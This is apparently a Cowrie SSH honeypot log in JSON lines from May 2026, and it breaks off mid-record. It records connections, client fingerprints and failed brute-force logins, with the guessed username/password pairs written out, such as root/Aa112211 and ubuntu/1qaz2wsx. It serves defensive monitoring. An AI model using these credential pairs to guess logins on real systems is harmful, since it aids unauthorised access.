{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":46152,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d7c1e8cf30f","protocol":"ssh","message":"New connection: 193.46.255.86:46152 (159.203.135.109:22) [session: 5d7c1e8cf30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:04.920855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:04.933752Z","src_ip":"193.46.255.86","session":"5d7c1e8cf30f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:05.057372Z","src_ip":"193.46.255.86","session":"5d7c1e8cf30f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211","message":"login attempt [root/Aa112211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:05.618570Z","src_ip":"193.46.255.86","session":"5d7c1e8cf30f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:06.743611Z","src_ip":"193.46.255.86","session":"5d7c1e8cf30f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":36788,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6a1703e93bf","protocol":"ssh","message":"New connection: 80.94.92.186:36788 (159.203.135.109:22) [session: c6a1703e93bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:07.455122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:07.460970Z","src_ip":"80.94.92.186","session":"c6a1703e93bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:07.593293Z","src_ip":"80.94.92.186","session":"c6a1703e93bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:07.929620Z","src_ip":"80.94.92.186","session":"c6a1703e93bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:09.130868Z","src_ip":"80.94.92.186","session":"c6a1703e93bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":40507,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa2ee2e7dee3","protocol":"ssh","message":"New connection: 182.253.79.194:40507 (10.17.0.5:22) [session: fa2ee2e7dee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:19.331919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:19.337415Z","src_ip":"182.253.79.194","session":"fa2ee2e7dee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:19.598574Z","src_ip":"182.253.79.194","session":"fa2ee2e7dee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:20.674735Z","src_ip":"182.253.79.194","session":"fa2ee2e7dee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:21.939446Z","src_ip":"182.253.79.194","session":"fa2ee2e7dee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":35534,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb4aa8e4c2bd","protocol":"ssh","message":"New connection: 103.149.170.125:35534 (10.17.0.5:22) [session: fb4aa8e4c2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:32.821194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:32.826277Z","src_ip":"103.149.170.125","session":"fb4aa8e4c2bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:33.086331Z","src_ip":"103.149.170.125","session":"fb4aa8e4c2bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":53386,"dst_ip":"10.17.0.5","dst_port":22,"session":"a39090f7ef8a","protocol":"ssh","message":"New connection: 40.117.97.0:53386 (10.17.0.5:22) [session: a39090f7ef8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:33.583365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:33.588687Z","src_ip":"40.117.97.0","session":"a39090f7ef8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:33.608983Z","src_ip":"40.117.97.0","session":"a39090f7ef8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2083","message":"login attempt [root/2083] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:33.704962Z","src_ip":"40.117.97.0","session":"a39090f7ef8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qw","message":"login attempt [root/123456789qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:33.866076Z","src_ip":"103.149.170.125","session":"fb4aa8e4c2bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:34.821329Z","src_ip":"40.117.97.0","session":"a39090f7ef8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:35.128023Z","src_ip":"103.149.170.125","session":"fb4aa8e4c2bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58784,"dst_ip":"159.203.135.109","dst_port":22,"session":"e076817b11f0","protocol":"ssh","message":"New connection: 103.176.20.57:58784 (159.203.135.109:22) [session: e076817b11f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:51.040916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:51.045932Z","src_ip":"103.176.20.57","session":"e076817b11f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:51.297194Z","src_ip":"103.176.20.57","session":"e076817b11f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devil666","message":"login attempt [root/devil666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:52.052366Z","src_ip":"103.176.20.57","session":"e076817b11f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:46:53.303314Z","src_ip":"103.176.20.57","session":"e076817b11f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":60942,"dst_ip":"10.17.0.5","dst_port":22,"session":"b632b726ab76","protocol":"ssh","message":"New connection: 150.109.20.59:60942 (10.17.0.5:22) [session: b632b726ab76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:01.116399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:01.134409Z","src_ip":"150.109.20.59","session":"b632b726ab76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:01.381918Z","src_ip":"150.109.20.59","session":"b632b726ab76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:02.399371Z","src_ip":"150.109.20.59","session":"b632b726ab76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:03.648033Z","src_ip":"150.109.20.59","session":"b632b726ab76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":58730,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce6260e5e8b1","protocol":"ssh","message":"New connection: 115.91.48.142:58730 (10.17.0.5:22) [session: ce6260e5e8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:03.687640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:03.698953Z","src_ip":"115.91.48.142","session":"ce6260e5e8b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:03.906529Z","src_ip":"115.91.48.142","session":"ce6260e5e8b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avinash","password":"avinash","message":"login attempt [avinash/avinash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:04.759793Z","src_ip":"115.91.48.142","session":"ce6260e5e8b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:05.970255Z","src_ip":"115.91.48.142","session":"ce6260e5e8b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":56950,"dst_ip":"10.17.0.5","dst_port":22,"session":"c83791b5984b","protocol":"ssh","message":"New connection: 40.117.97.0:56950 (10.17.0.5:22) [session: c83791b5984b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:22.772473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:22.781799Z","src_ip":"40.117.97.0","session":"c83791b5984b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@op